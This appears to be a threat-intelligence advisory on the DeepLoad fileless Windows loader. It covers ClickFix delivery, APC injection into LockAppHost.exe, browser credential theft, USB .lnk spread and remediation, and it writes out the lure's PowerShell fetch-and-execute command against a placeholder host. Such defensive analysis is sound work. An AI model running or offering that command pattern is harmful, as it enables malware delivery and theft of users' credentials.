DeepLoad Fileless Loader — ClickFix Delivery, APC Injection into LockAppHost.exe, USB .lnk Worm and Credential Theft
DeepLoad Fileless Loader (TL-2026-0558), also tracked as DeepLoad, is a high-severity malware campaign, first published 2026-05-22. It has no confirmed attribution, affects Microsoft Windows 10, maps to 24 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 15 indicators of compromise.
Key facts for TL-2026-0558
- Threat ID
- TL-2026-0558
- Also known as
- DeepLoad
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-05-22
- Last reviewed
- 2026-05-22
- Attribution confidence
- NONE
- Motivation
- FINANCIAL
- Target sectors
- technology, financial, retail, healthcare, education, government, manufacturing, general
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 15
Malware and tooling in DeepLoad Fileless Loader
Malware and tooling: DeepLoad, Picus Threat Library modules 56483 and 37782
DeepLoad is a fileless Windows loader first observed in March 2026 and analyzed publicly by Picus Security in May 2026. Operators deliver the loader via the ClickFix social engineering technique, tricking victims into pasting an attacker-supplied PowerShell one-liner that fetches an obfuscated script over HTTP on port 3015. The script XOR-decrypts a payload entirely in memory, injects it into the trusted Windows lock screen process LockAppHost.exe via APC queuing, installs a scheduled task for persistence, steals browser credentials through a filemanager.exe stealer and a malicious browser extension that captures credentials in real time, and propagates over USB drives by dropping 40+ disguised .lnk shortcuts that re-trigger the full infection chain.
How DeepLoad Fileless Loader works
DeepLoad is a multi-stage fileless loader and credential-theft toolchain first observed in the wild in March 2026 and published in technical detail by Picus Security (Umut Bayram) on 22 May 2026. The intrusion set is notable for combining the ClickFix social engineering pattern, in-memory XOR-decrypted payloads, APC-queue process injection into trusted Windows binaries (notably LockAppHost.exe), scheduled-task persistence, dual-track browser credential theft, and a USB .lnk worm component that has been seen dropping 40+ shortcut files disguised as common installers.
Initial Access. The campaign uses ClickFix lures — typically a fake browser or document error page that instructs the victim to press Win+R or open a terminal and paste a supplied command 'to repair' the issue. The pasted command follows the pattern powershell.exe -ep Bypass -Command "iex(irm hxxp://<malicious_ip>:3015/index)", retrieving a heavily obfuscated PowerShell script from the operator's server on TCP/3015. No file is dropped to disk during this stage; the user-pasted command line and PowerShell process tree are the primary forensic artifacts.
Deobfuscation and In-Memory Execution. The fetched script buries its real logic under thousands of meaningless variable assignments to defeat pattern-matching scanners and visual review. The active code XOR-decodes an embedded payload entirely in memory using a hardcoded key. Because the decoded stage never touches disk, conventional file-based antivirus and EDR file-write telemetry do not fire; only behavioral telemetry around PowerShell child processes, suspicious in-memory allocations, and process injection captures the activity.
Process Injection (APC into LockAppHost.exe). The decoded loader allocates memory in a remote target process and queues an Asynchronous Procedure Call (APC) against a thread within that process so that the malicious code runs in the context of a trusted Windows binary. DeepLoad notably targets LockAppHost.exe, the host process for the Windows lock-screen experience, which is a long-lived signed Microsoft binary and an unusual injection target that bypasses many heuristics tuned for explorer.exe, svchost.exe, or browser injection. Other trusted Microsoft binaries are also targeted in observed samples.
Persistence. After the active payload is resident in the trusted process, it creates a scheduled task that re-invokes the loader on user logon or on a recurring schedule, giving operators durable access without writing the active code to disk.
Credential Theft (Two Tracks). DeepLoad runs credential theft on two parallel tracks. The first is filemanager.exe, a standalone stealer module that scrapes saved browser passwords from Login Data SQLite databases and decrypts them with the per-user DPAPI keys available to the logged-on user. The second is a malicious browser extension installed into the victim's browser profile that hooks form inputs and intercepts credentials in real time as the user types them, defeating credential vaulting and any post-hoc rotation. Both tracks exfiltrate to the operator's HTTP infrastructure.
Lateral Movement / Propagation. Each infected host can act as a propagation node. The loader enumerates attached USB drives and drops 40+ Windows shortcut (.lnk) files disguised as common installers (browser installers, Microsoft Office bundles, well-known utilities). Each shortcut, when double-clicked on a new host, re-runs the ClickFix-equivalent command chain via cmd.exe / powershell.exe to re-trigger the full infection. This makes DeepLoad effectively a worm in any environment that permits USB use, and means a single infected USB drive can re-seed an environment after remediation.
Defensive Implications. Because the loader is fileless, traditional file-hash blocking, signature scanning, and even YARA rules over disk content provide little coverage. Effective detection requires (1) PowerShell ScriptBlock and Module logging to capture the deobfuscated content, (2) Sysmon Event ID 8 (CreateRemoteThread) and Event ID 10 (process access with VM_WRITE / VM_OPERATION) for the APC injection, (3) parent-child analysis flagging LockAppHost.exe with anomalous network or file activity, (4) registry / scheduled-task creation telemetry, and (5) endpoint policy disabling AutoRun and treating .lnk files on removable media as high-risk. The Picus Security Threat Library tracks DeepLoad behaviors under IDs 56483 and 37782, providing ready-made simulation content for purple-team validation.
MITRE ATT&CK techniques used in TL-2026-0558
Collection
T1005 Data from Local System; T1185 Browser Session Hijacking
Defense Evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1620 Reflective Code Loading
Exfiltration
T1041 Exfiltration Over C2 Channel
Persistence
Privilege Escalation
Credential Access
T1056 Input Capture; T1539 Steal Web Session Cookie; T1555 Credentials from Password Stores
Execution
T1059 Command and Scripting Interpreter; T1106 Native API; T1204 User Execution
Command and Control
T1071 Application Layer Protocol; T1105 Ingress Tool Transfer; T1571 Non-Standard Port
Discovery
T1082 System Information Discovery; T1083 File and Directory Discovery; T1518 Software Discovery
Lateral Movement
T1091 Replication Through Removable Media
Initial Access
Resource Development
Affected products and versions in DeepLoad Fileless Loader
- Microsoft — Windows 10
Vulnerable versions: all supported - Microsoft — Windows 11
Vulnerable versions: all supported - Microsoft — Windows Server
Vulnerable versions: 2019; 2022; 2025 - Google — Chrome (saved credentials and extension surface)
Vulnerable versions: all current - Microsoft — Edge (saved credentials and extension surface)
Vulnerable versions: all current
Remediation for DeepLoad Fileless Loader
Immediate actions
- Block outbound traffic to non-standard HTTP ports (notably TCP/3015) from end-user workstations at perimeter and EDR
- Enable PowerShell ScriptBlock Logging (Event ID 4104) and Module Logging across all Windows endpoints
- Enable Constrained Language Mode for PowerShell on user workstations where compatible
- Hunt for LockAppHost.exe with child processes, outbound network connections, or scheduled task creation — none of these are normal
- Disable USB AutoRun globally via Group Policy and configure Removable Storage Access policies
- Search browser extension inventories for unknown or recently-installed extensions and force redeployment of a known-good extension allowlist
- Reset all browser-saved and recently-typed credentials for any host showing ClickFix PowerShell execution
Workarounds
- Apply ASR rule 'Block all Office applications from creating child processes' and 'Block executable content from email client and webmail' to constrain delivery surface
- Add an EDR custom rule alerting on powershell.exe with arguments containing 'iex' and 'irm' together
- Block the Run dialog (Win+R) for non-admin users via Group Policy where business needs allow
- Deny LockAppHost.exe outbound network connectivity via host firewall — it should never need network access
Longer-term hardening
- Deploy an EDR with strong behavioral telemetry for APC injection (NtQueueApcThread, QueueUserAPC) and remote thread / memory allocation across processes
- Implement Sysmon with a tuned configuration covering Event IDs 1, 3, 7, 8, 10, 11, 13 and ship to a SIEM
- Enforce browser extension allowlisting via Chrome ExtensionInstallAllowlist / Edge ExtensionInstallAllowlist and Firefox ExtensionSettings policies
- Train users on ClickFix lures — make 'never paste a command you did not type yourself' a standing rule and add a banner / Run-dialog policy where feasible
- Adopt a phishing-resistant browser password manager backed by hardware-bound keys, and migrate users off of the browser's native save-password feature
- Deploy a removable-media policy that blocks .lnk execution from USB drives via AppLocker or WDAC
Weaknesses (CWE) in DeepLoad Fileless Loader
CWE-77, CWE-94, CWE-506, CWE-829
Timeline of DeepLoad Fileless Loader
- DeepLoad first observed in the wild — fileless PowerShell loader delivered via ClickFix social engineering paste-and-run lures
- Dual-track credential theft confirmed — standalone filemanager.exe stealer plus a malicious browser extension capturing credentials in real time
- Researchers identify APC (Asynchronous Procedure Call) injection into LockAppHost.exe as DeepLoad's signature in-memory execution technique
- USB propagation observed — infected hosts drop 40+ disguised .lnk shortcut files onto removable media to re-trigger the infection chain on new hosts
- Picus Security publishes Threat Library simulation modules 56483 and 37782 covering DeepLoad behaviors for purple-team validation
- Campaign assessed ACTIVE — ClickFix delivery infrastructure remains live and USB-borne propagation continues to seed new clusters of infected endpoints
- Threadlinqs Intelligence publishes TL-2026-0558 with full MITRE ATT&CK mapping, detection content, and atomic simulation coverage
- Picus Security (Umut Bayram) publishes 'DeepLoad Malware Explained: ClickFix Delivery and Password Stealing' — first comprehensive public technical analysis
- As of 2026-05-29, DeepLoad remains an active, evolving ClickFix-delivered fileless loader; ReliaQuest, Picus, Dark Reading and CyberScoop report ongoing enterprise compromises with AI-generated obfuscation enabling rapid new variants. No takedown, patch, or actor arrest exists, and its USB .lnk worm plus WMI re-infection make it self-seeding and remediation-resistant.
Sources cited for DeepLoad Fileless Loader
- DeepLoad Malware Explained: ClickFix Delivery and Password Stealing
- MITRE ATT&CK T1204.004 — User Execution: Malicious Copy and Paste (ClickFix)
- MITRE ATT&CK T1055.004 — Process Injection: Asynchronous Procedure Call
- MITRE ATT&CK T1059.001 — Command and Scripting Interpreter: PowerShell
- MITRE ATT&CK T1091 — Replication Through Removable Media
- MITRE ATT&CK T1555.003 — Credentials from Web Browsers
- Microsoft Learn — Detect malicious PowerShell scripts using script block logging
- Sysmon Event ID 8 — CreateRemoteThread (process injection telemetry)
- Picus Threat Library — DeepLoad Modules 56483 and 37782
Threats related to DeepLoad Fileless Loader
- ACSC Advisory — ClickFix Campaign Distributing Vidar Stealer via Compromised WordPress Sites Targeting Australian Infrastructure
- Pony (Fareit/Siplog) Credential-Stealing Trojan and Downloader
- XWorm v6.4 Delivery Campaign — Obfuscated JavaScript/PowerShell Loaders with ProcessHollowing DLL Injection (March 2026)
- Five Venezuelan Nationals Plead Guilty in Failed Kansas ATM Jackpotting Plot
Detection coverage for TL-2026-0558
As of 2026-05-22, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0558 across Splunk SPL, Microsoft KQL and Sigma, covering 15 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.